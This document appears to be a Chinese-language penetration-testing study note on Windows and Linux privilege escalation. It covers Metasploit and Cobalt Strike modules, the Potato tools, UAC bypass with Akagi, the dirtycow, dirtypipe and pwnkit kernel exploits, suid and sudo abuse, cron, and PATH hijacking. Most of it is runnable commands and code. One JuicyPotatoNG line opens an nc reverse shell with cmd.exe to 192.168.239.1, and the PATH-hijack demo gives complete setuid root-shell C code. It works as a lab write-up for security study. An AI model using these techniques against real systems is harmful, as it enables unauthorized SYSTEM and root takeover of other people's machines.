权限提升#

windows#

msf提权模块#

环境:windows2008 r2 + iis + asp

使用哥斯拉连接,whoami查看用户为iis用户,权限较小

image-20250504160759989

上线msf

image-20250504193422236

使用multi/recon/local_exploit_suggester提权模块

image-20250505122038686

cs插件提权#

首先上线cs,这里不赘述

使用LSTAR插件,点击左上角cobalt strike,选择脚本管理器,添加脚本,选中.cna文件添加

image-20250505185850869

然后选择烂土豆模块进行提取

image-20250505190053878

执行whoami命令,可以看到为system权限

image-20250505190123468

之后执行cs木马,即可以system用户上线cs

土豆家族#

这篇文章记录了土豆家族几乎所有的变种

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

这里就展示几个复现成功的,有的编译有问题,还有的执行有问题,可能是我的环境问题,winserver 2016

BadPotato

BadPotato.exe whoami

image-20250506154233383

EfsPotato

EfsPotato.exe whoami

image-20250506154322072

juicyPotato

JuicyPotatoNG.exe -t * -p C:/aa/nc64.exe -a "192.168.239.1 2333 -e c:\windows\system32\cmd.exe"

image-20250506154521471

PetitPotato

PetitPotato.exe <0-12> whoami

image-20250506154751542

PrintNotifyPotato

PrintNotifyPotato whoami

image-20250506154939178

bypass UAC#

在本地用户管理员组在getsystem提权过程中会出现uac问题

image-20250508164010164

本文记录一些bypass uac的方法

msf

msf中常用的bypass uac的模块如下

image-20250508163620526

bypass成功后使用getsystem即可

image-20250508163651769

Akagi

https://github.com/hfiref0x/UACME/releases

akagi是一款bypass uac的开源工具,使用方法如下,number可以根据文档介绍随意选择一个,后面跟需要执行的文件,有时候需要用到绝对路径

akagi64.exe <number> <target.exe>

使用该方法上线msf,直接可以getsystem获取system权限

image-20250509131352838

linux#

内核提权#

dirtycow

使用以下cpp

https://github.com/gbonacini/CVE-2016-5195

编译

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

可以使用python开一个终端

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20250516133318958

dirtypipe

用msf中自带的模块

exploit/linux/local/cve_2022_0847_dirtypipe

image-20250516144829120

pwnkit

用msf中自带的模块

exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

image-20250516140546571

suid&sudo#

shell中查找有suid权限的可执行文件

find / -perm -u=s -type f 2>/dev/null

普通用户查找sudo权限命令

sudo -l

sudo还存在一个cve提权漏洞(需要普通用户权限)

https://blog.csdn.net/IronmanJay/article/details/139379712

https://github.com/blasty/CVE-2021-3156

cron#

cron计划任务的提权原理是/etc/crontab中存在以root权限运行的计划任务,而运行的脚本允许其他用户查看和编辑,导致攻击者可以写入反弹shell语句,造成权限提升

PATH环境变量劫持#

现在假如一个用户将会执行curl命令,我们在tmp目录下创建一个内容为whoami的curl文件,并且给上777权限,再将/tmp目录导入到环境变量内,查看$PATH可以看到,刚刚添加的/tmp目录是位于其他正常执行文件的目录之前的,例如/usr/bin,此时我们执行curl,系统会优先找到/tmp目录下的curl去执行,也就是whoami。

根本原因还是因为没有使用绝对路径,依赖环境变量去寻找该命令的执行文件

image-20250517154126931

那如何运用到提权中呢?假如root将某个命令或包含某个命令的执行文件给到了suid权限,那么我们就可以用PATH环境变量劫持去获取到拥有suid权限的命令的shell

做个实验

首先写个执行curl kiiy.cc命令的c代码

#include <unistd.h>

int main() {
    char *args[] = {"curl", "kiiy.cc", NULL};
    execvp("curl", args);
    return 0;
}

再用gcc进行编译

gcc cblog.c -o cblog

编译好后放到/usr/local/bin目录下,此目录是在PATH环境变量内的

此时执行cblog就可以看到是执行了curl kiiy.cc命令的

image-20250517161057658

此时模拟管理员给到此命令suid权限

chmod u+s /usr/local/bin/cblog

此时切换到普通用户或其他系统用户开始实验

使用find寻找有suid权限的命令,发现cblog

[kiiy@192 tmp]$ ls -al /usr/local/bin/cblog
-rwsr-xr-x 1 root root 18144 May 17 03:57 /usr/local/bin/cblog

使用strings查看cblog命令,发现调用了curl命令

image-20250517161418699

现在我们再在/tmp目录下写一个执行/bin/bash的c代码

#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

至于为什么不直接echo,我做了实验是不可行的,还是返回的是普通用户的bash。这是chatgpt的回答:现代 bash 会检查:如果以 SUID 执行,则主动丢弃权限。

所以只好用c,gcc编译执行

编译好后,将/tmp目录导入到环境变量

export PATH=/tmp:$PATH

执行cblog命令,可以看到成功获取到root权限的shell

image-20250517164445193